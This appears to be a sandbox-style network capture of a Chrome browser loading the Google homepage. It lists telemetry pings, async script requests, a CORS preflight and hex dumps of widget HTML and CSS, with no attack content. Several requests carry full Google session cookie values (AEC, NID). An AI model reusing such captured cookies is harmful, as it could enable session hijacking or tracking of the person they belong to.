2025-03-26 21:43:01 UTC	2230	OUT	GET /async/hpba?yv=3&cs=0&ei=43TkZ9b3MZSw0PEPiIOGsQ0&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/dg%3D0/br%3D1/rs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:/xjs/_/ss/k%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/br%3D1/rs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/ck%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEA [TRUNCATED] Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE= Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
2025-03-26 21:43:01 UTC	1049	IN	HTTP/1.1 200 OK Version: 738694976 X-Content-Type-Options: nosniff Content-Type: text/plain; charset=UTF-8 Content-Disposition: attachment; filename="f.txt" Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Date: Wed, 26 Mar 2025 21:43:01 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-26 21:43:01 UTC	50	IN	Data Raw: 32 63 0d 0a 29 5d 7d 27 0a 32 34 3b 5b 22 35 58 54 6b 5a 36 4f 57 45 70 32 79 35 4e 6f 50 37 37 61 49 38 41 49 22 2c 22 32 31 39 30 22 2c 31 5d 0d 0a Data Ascii: 2c)]}'24;["5XTkZ6OWEp2y5NoP77aI8AI","2190",1]
2025-03-26 21:43:01 UTC	66	IN	Data Raw: 33 63 0d 0a 63 3b 5b 32 2c 6e 75 6c 6c 2c 22 30 22 5d 31 62 3b 3c 64 69 76 20 6a 73 6e 61 6d 65 3d 22 4e 6c 6c 30 6e 65 22 3e 3c 2f 64 69 76 3e 63 3b 5b 39 2c 6e 75 6c 6c 2c 22 30 22 5d 30 3b 0d 0a Data Ascii: 3cc;[2,null,"0"]1b;<div jsname="Nll0ne"></div>c;[9,null,"0"]0;
2025-03-26 21:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:01 UTC	1632	OUT	POST /gen_204?s=webhp&t=aft&atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&rt=wsrt.1145,hst.83,prt.552,afti.715,aft.715&imn=11&dtc=139&stc=24&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=195824&ant=replace HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" Content-Type: text/plain;charset=UTF-8 downlink: 0.35 sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
2025-03-26 21:43:01 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-B1Gh0glkZ-TmPFhyZCliJw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Wed, 26 Mar 2025 21:43:01 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:01 UTC	1603	OUT	GET /gen_204?s=async&astyp=hpba&atyp=csi&ei=5HTkZ4vGNYKkiLMPru65iQY&rt=ipf.1,ipfr.422,ttfb.422,st.422,acrt.424,ipfrl.424,aaft.424,art.424,ns.-1693&ns=1743025377958&twt=1.1999999999825377&mwt=1.1999999999825377 HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 1.25 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
2025-03-26 21:43:01 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-gklAPGN1ZymFnvBln86GpA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Wed, 26 Mar 2025 21:43:01 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:01 UTC	1980	OUT	POST /gen_204?atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&s=webhp&t=all&imn=11&dtc=139&stc=24&ima=1&imad=0&imac=1&wh=897&adh=&cls=0.000047472695443143816&ime=1&imex=1&imeh=0&imeha=0&imehb=0&imea=0&imeb=0&imel=0&imed=0&imeeb=0&scp=0&cb=195524&ucb=195524&ts=195824&dt=&mem=ujhs.9,tjhs.12,jhsl.2248,dm.8&nv=ne.1,feid.7d6a079d-d051-4d0a-9f58-5ff1dabf6a3b&net=dl.6400,ect.4g,rtt.200,sd.0&hp=&sys=hc.4&p=bs.true&rt=hst.83,prt.552,afti.715,aft.715,xjses.1362,xjsee.1402,xjs.1402,lcp.735,fcp.555,wsrt.1145,cst.222,dnst.0,rqst.685,rspt.360,sslt.215,rqstt.820,unt.594,cstt.598,dit.1714&zx=1743025380514&opi=89978449 HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 downlink: 6.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 200 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
2025-03-26 21:43:01 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-GqQUNdAHjU3G_0Vq6StDng' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Wed, 26 Mar 2025 21:43:01 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:01 UTC	617	OUT	OPTIONS /$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyncData HTTP/1.1 Host: ogads-pa.clients6.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-goog-api-key,x-user-agent Origin: https://www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:43:01 UTC	614	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.google.com Vary: origin Vary: referer Vary: x-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: DELETE,GET,HEAD,OPTIONS,PATCH,POST,PUT Access-Control-Allow-Headers: content-type,x-goog-api-key,x-user-agent Access-Control-Max-Age: 3600 Date: Wed, 26 Mar 2025 21:43:01 GMT Content-Type: text/html Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Server-Timing: gfet4t7; dur=14 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:01 UTC	1432	OUT	GET /widget/callout?prid=19046229&pgid=19046228&puid=2e6b2513ec221596&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en HTTP/1.1 Host: ogs.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
2025-03-26 21:43:02 UTC	2115	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://www.google.com Content-Security-Policy: frame-ancestors https://www.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/OneGoogleWidgetUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eJuWZzZPxq84cTFdMJJLgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/OneGoogleWidgetUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/OneGoogleWidgetUi/cspreport/allowlist x-ua-compatible: IE=edge Expires: Wed, 26 Mar 2025 21:43:01 GMT Date: Wed, 26 Mar 2025 21:43:01 GMT Cache-Control: private, max-age=3600 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-site Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="CoepOneGoogleWidgetUi" Report-To: {"group":"CoepOneGoogleWidgetUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/OneGoogleWidgetUi"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/OneGoogleWidgetUi/web-reports?context=eJzjMtHikmJw0ZBiKFj5gin0xXTWdCBuvXmOdToQG609z-oCxIYKl1idgbhI4gprCxAL8XA8fTlxP5vAih9Nl5iV1JLyC-Pz81LT8_PTc1IzSkoKilOLylKL4o0MjEwNjI1M9AzM4wsMAJQEJ9U" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 67 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 67 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 77 69 64 67 65 74 2f 63 61 6c 6c 6f 75 74 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 Data Ascii: 8000<!doctype html><html lang="en" dir="ltr"><head><base href="https://ogs.google.com/"><link rel="preconnect" href="//www.gstatic.com"><meta name="referrer" content="origin"><link rel="canonical" href="https://ogs.google.com/widget/callout"><link rel="
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 3d 61 2e 63 63 5f 6c 61 74 65 6e 63 79 5f 73 74 61 72 74 5f 74 69 6d 65 3b 61 2e 63 73 73 5f 73 69 7a 65 3d 30 3b 61 2e 63 63 5f 6c 61 74 65 6e 63 79 3d 5b 5d 3b 61 2e 63 63 54 69 63 6b 3d 67 3b 61 2e 6f 6e 4a 73 4c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 22 6a 73 6c 22 29 7d 3b 61 2e 6f 6e 43 73 73 4c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 22 63 73 73 6c 22 29 7d 3b 61 2e 5f 69 73 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 21 63 7c 7c 63 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 3d 22 6e 6f 6e 65 22 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 66 3d 62 2e 64 65 66 61 75 6c 74 56 69 65 77 3b 69 66 28 66 26 26 66 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 26 26 28 66 3d 66 2e 67 65 74 43 6f 6d Data Ascii: =a.cc_latency_start_time;a.css_size=0;a.cc_latency=[];a.ccTick=g;a.onJsLoad=function(){g("jsl")};a.onCssLoad=function(){g("cssl")};a._isVisible=function(b,c){if(!c\|\|c.style.display=="none")return!1;var f=b.defaultView;if(f&&f.getComputedStyle&&(f=f.getCom
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 4d 43 63 4f 41 63 3e 2e 70 47 78 70 48 63 7b 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 66 6c 65 78 2d 67 72 6f 77 3a 30 7d 2e 49 71 42 66 4d 3e 2e 48 4c 6c 41 48 62 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 31 36 70 78 3b 74 6f 70 3a 30 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 39 7d 2e 56 55 6f 4b 5a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 33 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 30 Data Ascii: overflow:hidden;z-index:1}.MCcOAc>.pGxpHc{flex-shrink:0;flex-grow:0}.IqBfM>.HLlAHb{align-items:center;display:flex;height:60px;position:absolute;right:16px;top:0;z-index:9999}.VUoKZ{display:none;position:absolute;top:0;left:0;right:0;height:3px;z-index:10
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 2c 30 20 32 70 78 20 36 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 38 32 61 32 63 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 73 75 72 66 61 63 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 68 69 67 68 2c 23 32 38 32 61 32 63 29 7d 2e 4e 4b 6d 46 4e 63 2e 76 51 34 33 49 65 20 2e 54 6e 75 67 5a 63 2c 2e 61 6d 45 30 4d 64 2e 4e 4b 6d 46 4e 63 2e 76 51 34 33 49 65 20 2e 54 6e 75 67 5a 63 7b 63 6f 6c 6f 72 3a 23 63 34 63 37 63 35 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 6f 6e 2d 73 75 72 66 61 63 65 2d 76 61 72 69 61 6e 74 Data Ascii: adow:0 1px 2px 0 rgba(0,0,0,.3),0 2px 6px 2px rgba(0,0,0,.15);background:#282a2c;background:var(--gm3-sys-color-surface-container-high,#282a2c)}.NKmFNc.vQ43Ie .TnugZc,.amE0Md.NKmFNc.vQ43Ie .TnugZc{color:#c4c7c5;color:var(--gm3-sys-color-on-surface-variant
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 3b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 20 30 20 30 7d 2e 72 72 34 79 35 63 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 30 62 35 37 64 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 2c 23 30 62 35 37 64 30 29 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 30 70 78 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 32 34 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e Data Ascii: ;margin:0 12px 0 0}.rr4y5c{border-radius:100px;background:none;box-sizing:border-box;color:#0b57d0;color:var(--gm3-sys-color-primary,#0b57d0);display:inline-block;font-size:14px;font-weight:500;min-height:40px;outline:none;padding:10px 24px;text-align:cen
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 67 68 74 3a 34 30 70 78 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 32 34 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 79 5a 71 4e 6c 3a 68 6f 76 65 72 2c 2e 79 5a 71 4e 6c 3a 68 6f 76 65 72 3a 66 6f 63 75 73 2c 2e 79 5a 71 4e 6c 3a 66 6f 63 75 73 2c 2e 79 5a 71 4e 6c 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 62 35 37 64 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 70 Data Ascii: ght:40px;outline:none;padding:10px 